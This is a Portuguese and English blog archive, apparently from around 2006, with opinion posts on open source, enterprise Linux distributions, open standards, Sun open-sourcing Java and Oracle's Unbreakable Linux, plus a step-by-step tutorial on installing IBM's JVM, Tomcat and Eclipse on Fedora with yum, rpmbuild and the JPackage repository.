Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.

A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.

A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.

Choosing a Linux Distribution

It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.

Support and Certification

All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.

For a user, support really means:

  1. A partner available now and in the long term to transfer operational risks.
    This is the most important point. Companies don’t want to take risks — specially the Open Source risks — for themselves.
  2. Fast access to quality updates.
    Companies in general have limited resources to compile, test and apply OSS updates.
  3. Access to a large set of certified hardware (IHV) and software (ISV) vendors, and availability of pre-tested complex solutions.
    A critical part of any IT project is the support and certification connections between its components (hardware, storage, middleware, etc). The most important and valued function provided by a distributor, even more so than the embedded technology in the OS, is its ability to build ecosystems of certified Independent Hardware and Software Vendors.

Price for a License Versus Subscription Business Models

Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.

The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.

It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.

So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.

Choosing the Best Distribution

There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:

  1. Acquire a global commercial Linux subscription such as Red Hat Enterprise Linux or Novell SUSE Linux Enterprise Server.
    A subscription ties together the Open Source software and its global scale support, providing a stable environment for a certified ISV and IHV flourishing ecosystem.
  2. Use free distributors such as as Debian or Slackware and buy support services from an independent local company.
    Free distributions may introduce more risk due to non-global support operations, in addition to a loose integration between software and support, which leads to a weak ISVs and IHVs ecosystem.

In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.

Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.

RHEL versus SLES comparison

Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:

  1. Which distribution vendor do I have closer commercial relationship?
  2. Who has best pricing model for the value provided?
  3. Which distribution does my technical staff have more experience with?
  4. Which distribution is supported and certified by my providers of hardware and software?
  5. If you are unsure, be responsible and use an enterprise distribution.

There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.

Other Enterprise Distributions

There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.

There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.

Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.

Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.

One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.

Padrões Abertos e Linux no Desktop

Hoje a indústria usa o sistema operacional de desktop de praticamente um único fornecedor, cria aplicações gráficas 100% dependentes dele, e usa uma suite de escritório que também só funciona sobre esse mesmo sistema operacional. Ainda por cima, os documentos de formato proprietário com que o mercado usa só podem ser gerados e consumidos por essa mesma suite.

Se nossos CDs de música tocam em qualquer CD player, por que nossas aplicações, páginas da web, documentos, etc não podem ser usados em qualquer sistema operacional, plataforma de hardware, etc ?

A demora para isso acontecer reflete quão dependente dessas tecnologias proprietárias é o mercado. Isso é caro principalmente porque não há com quem negociar alternativas, e por isso essas tecnologias terão o preço que seu fornecedor quiser.

A IBM ainda está analisando o direcionamento futuro dos nossos desktops internos para funcionários. Não foi decidido entre Linux ou Vista, nem Darwin, nem BSD, nem nenhum outro sistema operacional.

Temos iniciativas internas fortíssimas para que os produtos e serviços de nossa Intranet sigam Padrões Abertos. Dessa forma, um funcionário pode escolher o sistema operacional que melhor se adequar ao seu trabalho.

Não usamos uma tecnologia proprietária de impressão remota, e sim o serviço que usa Padrões Abertos para imprimir na rede.

Não usamos uma aplicação proprietária de VPN, mas o serviço de VPN que usa Padrões Abertos.

Não temos um serviço de diretórios de uma implementação proprietária, e sim um diretório corporativo baseado no Padrão Aberto LDAP.

Não usamos documentos de formatos proprietários, que só podem ser gerados e consumidos por uma única suite de escritório, mas reforçamos o uso do novo Open Document Format, baseado em XML, introduzido pelo OpenOffice.org, que pode ser aberto em qualquer suite de escritório.

E por aí vai….

A última fronteira é a convergência gradativa dos produtos de workgroup baseados em Lotus Notes com o novo Workplace Client Technology, que implementa Padrões Abertos, e que é baseado no Eclipse (como dezenas de outros produtos da IBM).

E digo mais: as tecnologias proprietárias que usamos internamente nos nossos desktops, tivemos que adotá-las porque quando surgiu a necessidade de resolver o problema de negócio que elas resolvem, simplesmente não haviam opções que implementassem Padrões Abertos. Conforme surgem Padrões para aquele determinado problema, isso entra em pauta e a migração é estudada seriamente. Logicamente analizando custos, funcionalidades, viabilidade, etc, porque essa é a forma racional de se fazer mudanças.

Padrões Abertos. Padrões Abertos. Padrões Abertos. Essas são as palavras do momento.

Para o mundo comercial, isso é mais importante do que ter acesso ao código fonte de um software. E é algo que deve estar sempre presente na pauta de TI do CIO.

Pregamos que companhias que inovam reutilizando Padrões Abertos levam vantagem porque seus recursos são liberados para trabalhos que agregam maior valor, e porque as oportunidades do mercado se expandem à medida que os Padrões Abertos proliferam.

É o que dizemos aos nossos clientes. É o que acreditamos. E é o que fazemos.

A Mais Importante Notícia do Ano

Open Source JavaA Sun abriu o código fonte de sua implementação do Java.

Teria muitas coisas positivas para falar sobre isso, mas o Kov já disse boa parte, e o Simon Phipps também.

Faltava no mundo Open Source uma linguagem/tecnologia de desenvolvimento universal, madura, altamente padronizada com portabilidade em mente, e com ecossistema vigoroso em toda a indústria. Java tem todos estes atributos.

Essa carência, somado ao fato de Java não ser instalado automaticamente quando se instalava qualquer Linux (por questões de lincenciamento), fervilhava o idealismo da comunidade Open Source fazendo os programadores lançarem mão de outras linguagens/tecnologias que ou tem portabilidade questionável (como C, C++, por causa de suas bibliotecas), ou que ainda não se estabeleceram com maturidade, performance e ecossistema industrial (como PHP, Perl, Python, Ruby), ou ambos (como C#, Mono). O resultado na indústria é uma descentralização de skill de desenvolvimento de software de negócio.

Java entrando no cenário Open Source muda tudo isso. Será benéfico para o ecossistema de Computação Aberta, e principalmente para o de Linux como plataforma de negócio.

Minha previsão agora, é que as JVMs da IBM, Bea etc serão também abertas em breve para logo depois se fundir numa JVM/JDK única de alta performance, portável, modular, facilmente instalável, e de bem estabelecido ecossistema.

É a maior notícia do ano para TI. Talvez da década.

Instalando Java e Eclipse em Linux

permalink Porque Java com Linux ?

Nos primórdios das tecnologias, todas elas nasciam proprietárias porque seus criadores queriam explora-las ao máximo, por serem todas novidades.

Depois da popularização do PC, e mais ainda, da Internet, fabricantes começaram a se reunir ao redor de Padrões Abertos para criar uma rede de valor onde todos — fabricantes e usuários — acabam ganhando.

Os Pilares do e-businessExistem hoje inúmeros Padrões Abertos, mas os que se destacam são os seguintes:

  • HTML
    É a representação universal de interfaces com usuários. Hoje qualquer usuário de computador sabe usar um browser e navegar através de um hipertexto. HTML, ou melhor ainda, hoje, DHTML ou AJAX, é o padrão aberto para aplicações interagirem com usuários.
  • XML
    Antes de XML, não havia um padrão aberto amplamente aceito que permitisse qualquer aplicação falar com qualquer outra aplicação, mesmo de fabricantes diferentes. XML se tornou a base dos Web Services e Arquitetura Orientada a Serviços, que traz o benefício da integração de processos, com parceiros, clientes e fornecedores.
  • Java Enterprise Edition
    Java é a tecnologia escolhida por toda a indústria para transformar processos de negócio em software. É o Padrão Aberto para se escrever aplicações. Antes de Java, desenvolvedores usam diversas linguagens, sem uma metodologia universal de programação e sem nenhum padrão de bibliotecas de alto nível. JEE (Java Enterprise Edition) é um padrão de biblioteca com métodos universais para aplicações de negócio.
  • Linux
    É o sistema operacional escalável e multiplataforma para rodar tudo isso. É o componente aberto que faltava para ligar a lógica de negócio com padrões abertos de HW.

Essas quatro tecnologias juntas provém tudo que um desenvolvedor precisa para criar suas aplicações de negócio.

permalink Java comparado a C/C++, PHP, Perl e Python

Cabe ao desenvolvedor escolher a linguagem/tecnologia certa para a aplicação certa. Não só os aspectos tecnológicos devem ser levados em conta, mas também aceitação no mercado, aderência a padrões, reputação, política de atualização da tecnológica, prontidão para uma aplicação de negócios, etc.

  • C é uma linguagem criada para desenvolver sistemas operacionais, ou algoritmos de baixo nível, quase no nível da máquina, e é nesse nível que essa linguagem se sai melhor. C++ surgiu a alguns anos trazendo orientação a objetos, mas ambas linguagens falharam em padronizar suas semânticas e, principalmente, bibliotecas multiplataforma abertas, e de uso genérico. A não ser que você esteja escrevendo sistemas operacionais, ou bibliotecas de acesso a hardware, uma linguagem mais prática que C ou C++ deve ser escolhida para desenvolver sua aplicação de negócio.
  • PHP é uma linguagem/tecnologia desenhada para criar páginas web dinâmicas. Seus programas são geralmente mesclados com código HTML e equivale a JSP e ASP. É muito usada e provou seu valor, porém tem pouca penetração no mundo corporativo e de aplicações de negócio (de fabricantes de SW), e por isso pouco suporte da indústria para que a tecnologia evolua como um padrão. Então, por ser um investimento de risco, dificilmente uma grande empresa vai escolher PHP como tecnologia estratégica para a confecção de suas aplicações críticas, mesmo porque PHP é mais madura somente para aplicações web.
  • Perl é abreviação de Practical Extract and Reporting Language, que sugere ter sido criada para manipular texto. A linguagem e suas bibliotecas cresceram para muito além disso, e há hoje quem a use para fazer grandes sistemas. Porém isso é considerado um exagero de uso, pois os programas são interpretados em tempo de execução, o que acarreta performance limitada, e é de fato desenhada para automatizar tarefas de sistema operacional. Python, apesar de ser mais moderna e poder ser compilada, não foge muito deste escopo também. Além disso, ambas ainda não conseguiram uma aceitação comercial madura, e, não representando um investimento seguro a longo prazo, ainda não tem sido escolhidas como estratégicas para a fábrica de SW de uma empresa, ou para um sistema complexo e de missão crítica.

Em contrapartida, a tecnologia Java tem as seguintes características:

  • Atingiu um nível de maturidade e aceitação de toda a industrial que o torna um investimento seguro quando da escolha de uma plataforma de desenvolvimento de aplicações de negócio.
  • Evolui de acordo com as decisões de um comitê independente chamado Java Community Process, onde empresas e indivíduos votam igualmente para a aceitação de uma novidade. São integrantes ativos do JCP empresas como IBM, Apache Software Foundation, Dolby Laboratories, JBoss, SAP, Oracle, Nokia, Sony, etc. Lista completa em http://jcp.org/en/participation/members.
  • Toda a indústria respeita as decisões do JCP, evitando o surgimento de derivados (forks) de comportamento diferente.
  • É um grande polo tecnológico, tendo somente .NET como seu polo oposto e concorrente (e ainda imaturo de certa forma).

permalink Instalando Java Em Linux

Há muitas formas de instalar a JVM em Linux, mas há somente uma forma correta: usando RPM através do repositório JPackage.

permalink Sobre Repositórios de RPMs

A instalação de um pacote RPM pode falhar se outro pacote precisa ser instalado antes. Isso é conhecido como o inferno das dependências.

Para resolver este problema a comunidade criou ferramentas de instalação de pacotes como o Yum e o APT, que, junto com os metadados oferecidos por um repositório de RPMs, liquidam este problema calculando tudo que é necessário fazer para instalar certo pacote, atualizando automaticamente pacotes já instalados, ou instalando novos, tudo para satisfazer as dependências do pacote que o usuário deseja instalar.

Um repositório é um site na web que contem vários RPMs e metadados de interdependências sobre esses pacotes, que são usados por ferramentas como yum e apt-get.


permalink
O projeto JPackage e seu Repositório de RPMs

jpackage logoO JPackage é um repositório de RPMs de alta qualidade de softwares relacionados a Java. É uma comunidade de pessoas que empacotam em RPM as JVMs mais conhecidas do mercado, bem como softwares Java populares como Tomcat, Eclipse, Jakarta, etc.

A primeira pergunta que surge depois que dizemos isso é: “Mas as JVMs da Sun, IBM, etc já não são disponibilizadas em RPM ?�? Sim, mas cada fornecedor empacota como bem entende, sem seguir nenhum padrão de diretórios ou do sistema operacional. E essa despadronização faz a tecnologia como um todo ser mais difícil de usar.

O Projeto JPackage resolveu isso definindo uma organização de diretórios que permite multiplas JVMs, e lugares padronizados para arquivos JAR, WAR, EAR, etc. O JPackage inovou simplesmente aplicando os conceitos do Filesystem Hierarchy Standard — um padrão aberto dos mais importantes para Linux — aos softwares Java.

O resultado é tão bom, que a Red Hat, SUSE, Mandriva e outros adotaram o padrão JPackage de empacotamento e diretórios para tudo que se refere a Java em suas distribuições (RHEL, Fedora, SLES, SLED, OpenSUSE, NLD, Mandriva, etc).

permalink Problemas do JPackage

O JPackage tem uma diretriz de fornecer em seu repositório somente RPMs de softwares livres. Por isso, softwares que não tem licenças livres estão lá somente como RPMs-fonte, que não são tão simples de se instalar, mas mesmo assim promovem a organização e a qualidade do JPackage. Entre esses softwares estão a própria JVM, que vamos demonstrar sua instalação agora.

permalink Inicializando o JPackage em seu sistema

Antes de instalar qualquer RPM oferecido pelo JPackage, você precisa configurar as ferramentas que acessam e instalam os pacotes automaticamente no seu sistema.

Nos nossos exemplos, vamos usar o Fedora Linux com YUM. Pode-se optar pelo apt-get ao invés do YUM, ou de outra distribuição Linux ao invés do Fedora. No caso do Red Hat Enterprise Linux ou CentOS, o processo é idêntico.

permalink Tenha o YUM ou apt-get no seu sistema

No caso do Fedora 4, RHEL 4 ou CentOS 4, já temos o YUM instalado no sistema, e só teremos que configura-lo.

No caso de outro Linux, você pode testar se estas ferramentas estão instaladas simplesmente executando o comando yum ou apt-get.

Se você finalmente concluiu que não as tem, encontre-as aqui:

Nos nossos exemplos, vamos usar o Yum.

permalink Configure o YUM para usar o repositório JPackage

Basta instalar um arquivo de configuração no diretório /etc/yum.repos.d/ desta maneira:

bash# cd /etc/yum.repos.d/
bash# wget http://www.jpackage.org/jpackage.repo

Edite o arquivo jpacakge.repo que você acabou de baixar habilitando e desabilitando os canais de RPMs específicos para seu sistema. Por exemplo, no nosso Fedora Core, garantimos que os canais jpackage-generic e jpackage-fc contém a linha “enabled=1�?.

permalink Instale o primeiro pacote

O pacote jpackage-utils deve estar instalado para começar usar o repositório. Nas últimas versões das distribuições populares, ele já está instalado. Nesse caso é boa idéia atualiza-lo.

Para fazer isso:

bash# yum install jpackage-utils   # No caso de não estar instalado ainda.
bash# yum update jpackage-utils    # Para atualiza-lo.

permalink Instalando a Máquina Virtual Java (JVM)

Esta é uma das partes mais difíceis porque por questões de licensa o Projeto JPackage não tem permissão para prover o RPM pronto para ser instalado de softwares que tem licensa restrita. É o caso de todas as JVMs comerciais. O JPackage provê o pacote fonte que a partir dele pode-se construir fácil, porém manualmente, o RPM instalável. E vamos demonstrar isso aqui.

permalink JVM da IBM

Seguimos estes passos:

  1. http://www.jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JVM da IBM. A última vez que olhamos estava em http://mirrors.dotsr…./java-1.5.0-ibm-1.5.0.2.3-3jpp.nosrc.rpm
  3. Consultamos o pacote para descobrir de onde se baixa a JVM da IBM com o comando rpm:
    bash# rpm -qpi java*nosrc.rpm
    Name        : java-1.5.0-ibm               Relocations: (not relocatable)
    Version     : 1.5.0.2.3                         Vendor: JPackage Project
    Release     : 3jpp                          Build Date: Tue 15 Aug 2006
    Install Date: (not installed)               Build Host: tortoise.toronto.redhat.com
    Group       : Development/Interpreters      Source RPM: (none)
    Size        : 395165271                        License: IBM Binary Code License
    Signature   : (none)
    Packager    : Thomas Fitzsimmons
    URL         : http://ibm.com/developerworks/java/jdk/linux/download.html
    Summary     : IBM Java Runtime Environment
    Description :
    This package contains the IBM Java Runtime Environment.

    e descobrimos que devemos procurar na URL marcada.

  4. Fomos para http://ibm.com/developerworks/java/jdk/linux/download.html, nos registramos, escolhemos baixar a SDK 1.5 (que é a versão do RPM) em formato tar-gzip (tgz). Tivemos que baixar também a biblioteca javacomm do mesmo lugar. No fim copiamos tudo para o diretório de fontes para RPMs assim:
    bash# cd /diretorio/onde/baixei/SDK
    bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES
    bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES

    No SUSE, copie para /usr/src/rpm/SOURCES.

  5. Construimos os pacotes finais com este simples comando:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild java*nosrc.rpm

    e vimos uma série de coisas acontecendo: é a construção do pacote.

  6. Quando terminou, encontramos todos os pacotes gerados em /usr/src/redhat/RPMS/i386. Instalamos todos assim:
    bash# cd /usr/src/redhat/RPMS/i386
    bash# rpm -Uvh java*ibm*rpm

    e a JVM da IBM está instalada.

O padrão JPackage definiu que a JVM deve ser a soma de uma série de sub-pacotes, todos com nome padronizado, e os que geramos neste exemplo são:

java-1.5.0-ibm-1.5.0.2.3-3jpp.i386.rpm A JRE mínima. É o pacote básico que você deve instalar.
java-1.5.0-ibm-alsa-1.5.0.2.3-3jpp.i386.rpm Suporte a arquitetura de audio ALSA do Linux.
java-1.5.0-ibm-plugin-1.5.0.2.3-3jpp.i386.rpm Java Plugin para os browsers Mozilla e Firefox. Não obrigatório.
java-1.5.0-ibm-devel-1.5.0.2.3-3jpp.i386.rpm O compilador Java e a SDK. Instale-o se você vai programar em Java.
java-1.5.0-ibm-src-1.5.0.2.3-3jpp.i386.rpm Fontes de programas em Java, para estudo e teste.
java-1.5.0-ibm-jdbc-1.5.0.2.3-3jpp.i386.rpm Driver JDBC genérico para o unixODBC genérico. Não é necessário se você vai usar o driver JDBC de seu banco de dados.
java-1.5.0-ibm-demo-1.5.0.2.3-3jpp.i386.rpm Alguns programas demo. Não é obrigatório.
java-1.5.0-ibm-javacomm-1.5.0.2.3-3jpp.i386.rpm Java Communications API para Linux.

No JPackage há modelos de empacotamento (src.rpm) das JVMs da IBM, Sun, BEA e Blackdown. Para instalar qualquer uma delas, você terá que construir o RPM como demonstramos aqui.

A diferença entre elas está no nome do RPM (“ibm�?, “sun�?, “blackdown�?), e você pode ter instalado em seu sistema JVMs de vários fornecedores simultaneamente. Os RPMs de todos os fornecedores, segundo o padrão JPackage, obedecem esta mesma convenção de nomes de sub-pacotes.

permalink Instale Outros Softwares Java que Não Tem Fonte

Será necessário instalar outros RPMs sem fonte para usar corretamente outros pacotes populares do JPackage. Tentanto instalar o tomcat, verificamos que ele necessita do JTA, que é uma API de transações.

Então repetimos os conceitos do passo anterior:

  1. Começamos em http://jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JTA. A última vez que olhamos estava em http://mirrors.dotsrc.org/jpackage/1.6/generic/non-free/SRPMS/jta-1.0.1-0.b.4jpp.nosrc.rpm
  3. Consultamos o pacote (ou as infos sobre o pacote em jpackage.org) para descobrir de onde se baixa a JTA, com comando rpm, e descobrimos que precisamos procurar em http://java.sun.com/products/jta/.
  4. Desta vez, tivemos que baixar dois ZIPs: o de classes e o de documentação. E copiamos ambos para o diretórios de fontes de RPM
    bash# cd /diretorio/onde/baixei/JTA
    bash# cp jta*-classes.zip jta*-doc.zip /usr/src/redhat/SOURCES
  5. Construimos os pacotes finais e instalamos os RPMs gerados:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild jta*nosrc.rpm
    bash# cd /usr/src/redhat/RPMS/noarch
    bash# rpm -Uvh jta*rpm

    E a JTA está instalada.

permalink Instalando outros Softwares Java pelo JPackage

Neste ponto, você já tem o repositório JPackage configurado no seu sistema, e a JVM de sua escolha instalada conforme ditam os padrões FHS de diretórios do Linux.

Agora é muito fácil instalar qualquer outra aplicação, biblioteca ou JAR disponível no JPackage, representado pelo nome do pacote na lista a esquerda em http://www.jpackage.org.

Para instalar ou atualizar um pacote, bastam os seguintes comandos respectivamente:

bash# yum install [nome do pacote]    # Para   instalar.
bash# yum update [nome do pacote]     # Para atualizar.

O YUM, usando os metadados do repositório, vai resolver todas as dependências, baixar tudo que for necessário, e instalar os pacotes.

permalink Exemplo: Instalando o Apache Tomcat

O Apache Tomcat é um servlet container, que se integra ao webserver e permite a criação e execução de aplicações web feitas em Java (servlets).

Para instalar o Tomcat, segundo nosso exemplo anterior, basta:

bash# yum install tomcat5

Após resolver todas as dependências, o YUM determinou que para instalar o Tomcat, seria necessário instalar também vários módulos do Jakarta, Axis, módulos de XML, etc. E tudo foi automaticamente baixado e instalado num mesmo passo.

permalink Instalando o Eclipse

O Eclipse foi a princípio uma poderosa ferramenta de desenvolvimento de aplicações, ou IDE.

Desde a versão 3, ele foi reestruturado para ser um “servidor de aplicações�? de desktop. Ou seja, se tornou o que chamamos de Rich Client Platform — ou RCP — que é uma base genérica que provê a infraestrutura padronizada que qualquer aplicação de desktop precisa. O IDE então passou a ser uma aplicação, um plugin, do RCP. O IDE Java está no JPackage com o nome de eclipse-jdt, e para instala-lo, basta:

bash# yum install eclipse-jdt

Como sempre, todos os outros módulos necessário para estes componentes serão automaticamente selecionados e instalados.

O ícone do Eclipse deve aparecer no menu inicial, pronto para ser usado.

Unbreakable Linux: Mais uma Distribuição Enterprise

A Oracle anunciou a distribuição Unbreakable Linux na semana passada. Ela será tecnicamente idêntica ao Red Hat Enterprise Linux (RHEL), com excessão da logotipagem e trademarks da Red Hat, incluindo — conforme anunciado — um suporte de preço inferior ao da Red Hat.

Unbrekble LinuxO mercado ainda não entendeu o que este passo significa, e muitos interpretaram (e celebraram) como um suporte mais amplo ao RHEL por parte da Oracle. Na verdade a Red Hat se pronunciou em seu Unfakeable Linux.

Por que copiar o Red Hat Enterprise Linux? Porque é uma distribuição muito popular e porque desde sempre foi desenhada para ser genérica, ou seja, é muito fácil tirar a logotipagem da Red Hat e colocar o seu próprio nome. O resultado é uma distribuição idêntica (bit a bit) ao Red Hat Enterprise Linux (com exceção dos logotipos), e que se comporta exatamente da mesma forma que o RHEL se comportaria ao interagir com diversos hardwares e softwares: a compatibilidade do hardware e software catalog da Red Hat é tecnicamente herdada, mas não leva o carimbo formal de certificação da Red Hat.

Essa idéia não é nova e outras iniciativas já faziam isso antes: WhiteBox, CentOS, Scientific Linux. Isso é possível graças a tecnologia Open Source chamada RPM que “documenta” numa linguagem de máquina todo o processo de compilação, integração e instalação dos softwares, a ponto de ser facilmente reproduzivel em qualquer ambiente. Já havia explicado este processo antes a partir deste slide, nesta apresentação.

Como o software é idêntico, os bugs também são herdados, e é ai que começa o problema. As iniciativas sem suporte (CentOS etc) declaravam em alto e bom som que não fornecem suporte, e por isso não tem nenhum vínculo de responsabilidade com seus usuários. Elas podem se dar ao luxo de esperar a Red Hat lançar uma atualização para só depois se atualizarem.

No caso de um contrato de suporte comercial da Oracle, ela terá um cliente impaciente do outro lado da linha que quer ter seu problema técnico resolvido. O luxo da espera não existe mais, e a Oracle terá que resolver os bugs por si só.

Na pior das hipóteses, ao longo do tempo é possível que o Unbreakable comece a divergir tecnicamente do RHEL, mesmo tendo a Oracle um desejo latente de sempre se sincronizar com o RHEL — conforme anunciado. E teremos uma terceira distribuição Enterprise forte. Foi assim que nasceram algumas distribuições, como Conectiva e Mandrake, que no começo eram basicamente uma cópia traduzida do Red Hat (não enterprise) Linux. Mas hoje o ecossistema de Linux é bem diferente do da época em que essas distribuições surgiram.

Arrisco também um palpite favorecendo uma hipótese bem melhor, onde o Unbreakable e o RHEL continuarão idênticos e sincronizados, cooperando entre sí como verdadeiros projetos Open Source. E ao longo do tempo o RHEL realizará a façanha inédita de consolidar um sabor universal de Linux corporativo. Coisa que o Linux Standard Base está longe de conseguir.

Só o tempo dirá, e é essa constante incerteza a maior inimiga de uma adoção em massa de Linux no mundo corporativo.

Cabe aqui uma salva de palmas para a Oracle que teve a coragem de inovar comercialmente sobre algo que já era tecnicamente e legalmente possível.

Suporte a EXT2 (e 3) no Windows

Assim que rebootar no Windows, vou testar este módulo de microkernel para acessar nativamente partições EXT2 (e EXT3).

Ele diz suportar tudo, menos:

  • Controles de acesso. OK, EXT2/3 usa uma nomenclatura UNIX, e posso viver sem isso enquanto estou no Windows.
  • Acesso a arquivos especiais tipo socket, named pipe e devices. OK, isso não faz o menor sentido em Windows mesmo.
  • Nomes de arquivos em UTF-8. Mas parece que suporta se o Windows estiver em modo UTF-8.
  • Impossivel defragmentar com ferramentas Windows. Vivo sem isso.
  • Bootar Windows instalado num EXT2/3. Quem faria isso ?
  • Acesso a volumes LVM. Isto é o que mais me faria falta.

Todas as outras tentativas que fiz no passado, faziam o Windows travar miseravelmente. Vamos ver o que isso faz.

Censo Populacional de Linux na br-linux.org

Acabei de votar no censo de Linux do br-linux.org

Meus votos:

  • Ferramenta de Administração do sistema: rpm
  • Ferramenta de Segurança : ssh e iptables
  • Servidor de Banco de Dados: DB2
  • Visualizador de Vídeo: mplayer
  • Programa de Audio (MP3 e similares): amarok
  • Editor de textos: kate
  • Navegador web: Firefox
  • Programa de mensagens instantâneas: kopete
  • Cliente de e-mail: GMail
  • Agregador RSS: Google Reader
  • Aplicação P2P: Azureus (BitTorrent)
  • Ambiente Gráfico: KDE
  • Ferramenta de Desenvolvimento: KDeveloper e Eclipse
  • Linguagem de programação: C, C++, Java e Shell
  • Editor de imagens: Kuickshow e Gimp
  • Suíte Office: OpenOffice.org
  • Distribuição Live CD: Knoppix
  • Distribuição nacional:
  • Distribuição para desktop: CentOS ou SLED
  • Distribuição para servidor: Red Hat Enterprise Linux
  • Site nacional, excetuando o BR-Linux: vivaolinux.com.br
  • Site internacional: ibm.com/developerworks
  • Personalidade da comunidade livre nacional: EU !
  • Personalidade da comunidade livre internacional: Bob Sutor
  • Ponto alto do software livre em 2006: A Iniciativa Elektra
  • Ponto baixo do software livre em 2006: Iceweasel – o ridículo nome que a comunidade Debian decidiu dar ao Firefox, só no Debian
  • Fórum web ou lista de e-mail:
  • Livro sobre software livre: O do Cezar Taurion sobre Software Livre
  • Grupo de usuários ou organização livre nacional:
  • Evento da comunidade:
  • Empresa atuante na comunidade livre nacional: 4Linux
  • Revista que acompanha a comunidade livre: Linux Magazine

Aspirina para a Febre Ubuntu

Nunca usei o Ubuntu, mas todo mundo diz que ele é facinho facinho de usar.

Legal. Fico feliz por ele.

Mas encontrei com um cara recentemente, bem famoso na comunidade Linux, que tem uma visão bem madura das coisas e bem antenado na história do Debian e Ubuntu. Contou que a empresa Ubuntu é do fundador da Thawte — que foi vendida a preço de ouro para a Verisign. Ai ele pegou esse monte de dinheiro e foi se divertir montando a Canonical (empresa que desenvolve o Ubuntu).

Ele apontou enormes pontos de interrogação na estratégia do Ubuntu. Tipo, como eles mandam CDs de graça pra todo mundo ao redor do mundo? Como eles dão suporte de graça bastando ligar para eles? Afinal, como eles ganham dinheiro? Etc.

Resumo da ópera, o modelo de negócio do Ubuntu como empresa é muito duvidoso, se é que tem lá um modelo de negócios.

Então para se divertir, em casa, etc, usar o Ubuntu é legal, e eu incentivo muito. Mas para usa-lo numa empresa, de uma forma responsável, de jeito nenhum por enquanto.

Eu ainda sou da linha que técnicos devem usar em casa, para aprender, uma das 2 grandes distribuições: Red Hat ou SUSE. Não quer comprar a subscrição? Não precisa. Use gratuitamente o Fedora ou CentOS para usar o sabor Red Hat, ou OpenSUSE para saborear SUSE.

Nova certificação LPI 3

Parece que a certificação LPI-3 está em vias de sair, e o Brasil vai ser agraciado como o piloto, com o Maddog aplicando as primeiras provas.

Minha sensação é que a LPI tomou um rumo meio diferente do previsto. Antes de sua confecção, a LPI-3 foi idealizada como uma certificação para arquitetos, que testaria também a capacidade de argumentar a favor de uma solução Linux, mais generalista que as anteriores — que são mais preocupadas em inquerir nossa memória sobre parâmetros obscuros de comandos obscuros, ao invés de testar a capacidade do administrador em achar saidas para situações difíceis, consultando manuais ou bons sites na Internet —, mas agora focou mais ainda para administradores de Samba e LDAP, o que é bem restrito.

Eu sou certificado LPI-2 e me considero um bom administrador Linux, mas minha carreira nunca se voltou para Samba, o que faz minhas palavras parecerem meio tendenciosas, porque se eu tentar a LPI-3 provavelmente não passo.

Na minha modesta opinião, ou a evolução da LPI tinha que começar a criar, nesse sentido de especialização, áreas de competência (uma para Samba, outra para clusters, outra para gerência de thin clients ou muitos desktops, outra para… enfim), ou manter aquela linha generalista que eu achava mais interessante.

Boa sorte aos certificantes !

Debian versus Mindshare Vigoroso para Linux

